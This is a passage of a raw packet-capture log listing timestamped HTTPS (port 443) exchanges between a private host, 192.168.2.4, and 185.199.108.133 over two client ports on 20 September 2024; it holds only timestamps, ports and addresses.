Sep 20, 2024 12:14:55.459718943 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.459728003 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.460513115 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.460552931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.460578918 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.460587978 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.460609913 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.460627079 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.461497068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.461539030 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.461560011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.461569071 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.461591005 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.461615086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.462201118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.462244034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.462270975 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.462277889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.462294102 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.462315083 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.462398052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.462441921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.462459087 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.462486029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.462513924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.462532997 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.500915051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.500936031 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.500996113 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.501019955 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.501044989 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.501794100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.501816988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.501857996 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.501876116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.501902103 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.501921892 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.502418995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.502434969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.502481937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.502497911 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.502521038 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.502545118 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.503154993 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.503173113 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.503216982 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.503227949 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.503253937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.503715038 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.503925085 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.503943920 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.503993034 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.504004002 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.504030943 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.504151106 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.505347967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.505366087 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.505415916 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.505428076 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.505454063 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.505502939 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.506311893 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.506330013 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.506377935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.506387949 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.506412983 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.506505013 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.506892920 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.506911039 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.506973028 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.506983995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.507265091 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.544784069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.544831038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.544883966 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.544892073 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.544915915 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.544935942 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.545224905 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.545268059 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.545300961 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.545308113 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.545325994 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.545347929 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.545886040 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.545928001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.545959949 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.545968056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.545989990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.546005964 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.546415091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.546458006 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.546485901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.546493053 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.546505928 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.546530008 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.547733068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.547811031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.547816038 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.547837019 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.547866106 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.547880888 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.548170090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.548208952 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.548239946 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.548247099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.548274994 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.548285007 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.548757076 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.548795938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.548825026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.548831940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.548852921 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.548876047 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.549678087 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.549722910 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.549752951 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.549761057 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.549774885 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.549799919 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.587944984 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.587965012 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.588099957 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.588113070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.588172913 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.588851929 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.588869095 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.588941097 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.588953018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.589010000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.589514017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.589533091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.589602947 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.589615107 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.589675903 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.590162039 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.590204000 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.590249062 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.590260029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.590286970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.590332031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.590888977 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.590908051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.590976000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.590987921 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.591049910 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.592355967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.592375040 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.592441082 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.592453003 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.592505932 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.592989922 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.593008995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.593070984 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.593082905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.593141079 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.593581915 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.593599081 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.593657970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.593668938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.593727112 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.632153988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.632219076 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.632371902 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.632385015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.632424116 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.632464886 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.632476091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.632493019 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.632503033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.632534981 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.632567883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.633583069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.633651018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.633791924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.633800983 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.633837938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.633846045 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.633902073 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.633903027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.633949995 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.634012938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.634090900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.634764910 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.634821892 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.634850025 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.634856939 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.634877920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.634902954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.635252953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.635296106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.635327101 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.635334015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.635361910 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.635380983 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.635930061 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.635979891 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.636013985 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.636022091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.636042118 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.636065006 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.636408091 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.636451006 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.636483908 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.636491060 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.636512995 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.636537075 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.675298929 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.675355911 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.675576925 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.675636053 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.675831079 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.675879955 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.675945997 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.675961018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.676008940 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.676062107 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.676543951 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.676599979 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.676851988 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.676866055 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.677011013 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.677074909 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.677119017 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.677206993 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.677218914 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.677284956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.677345991 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.677963018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.678013086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.678122044 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.678133965 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.678216934 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.679506063 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.679553032 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.679637909 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.679650068 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.679765940 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.680129051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.680172920 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.680243969 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.680254936 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.680315971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.680376053 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.681185007 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.681221962 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.681307077 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.681318045 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.681435108 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.719074011 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.719136000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.719336987 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.719351053 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.719599009 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.719654083 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.719708920 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.719767094 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.719774961 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.719866991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.720165014 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.720218897 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.720267057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.720273018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.720357895 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.720670938 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.720716953 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.720784903 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.720791101 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.720868111 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.721498966 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.721549034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.721611023 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.721616983 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.721698999 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.722090960 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.722137928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.722187042 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.722193003 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.722263098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.722718000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.722758055 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.722824097 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.722830057 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.722904921 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.723912001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.723953009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.724018097 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.724024057 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.724118948 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.762080908 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.762126923 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.762439966 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.762499094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.762593031 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.763149023 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.763187885 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.763289928 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.763303995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.763437033 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.763892889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.763933897 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.764019012 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.764029980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.764089108 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.764161110 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.764471054 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.764513016 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.764597893 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.764610052 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.764739990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.765158892 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.765198946 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.765271902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.765283108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.765340090 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.765397072 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.766540051 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.766580105 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.766665936 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.766675949 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.766784906 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.767060995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.767101049 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.767175913 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.767187119 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.767246008 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.767311096 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.768193960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.768251896 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.768323898 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.768335104 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:55.768445969 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:55.806380033 CEST	443	58639	185.199.108.133	192.168.2.4
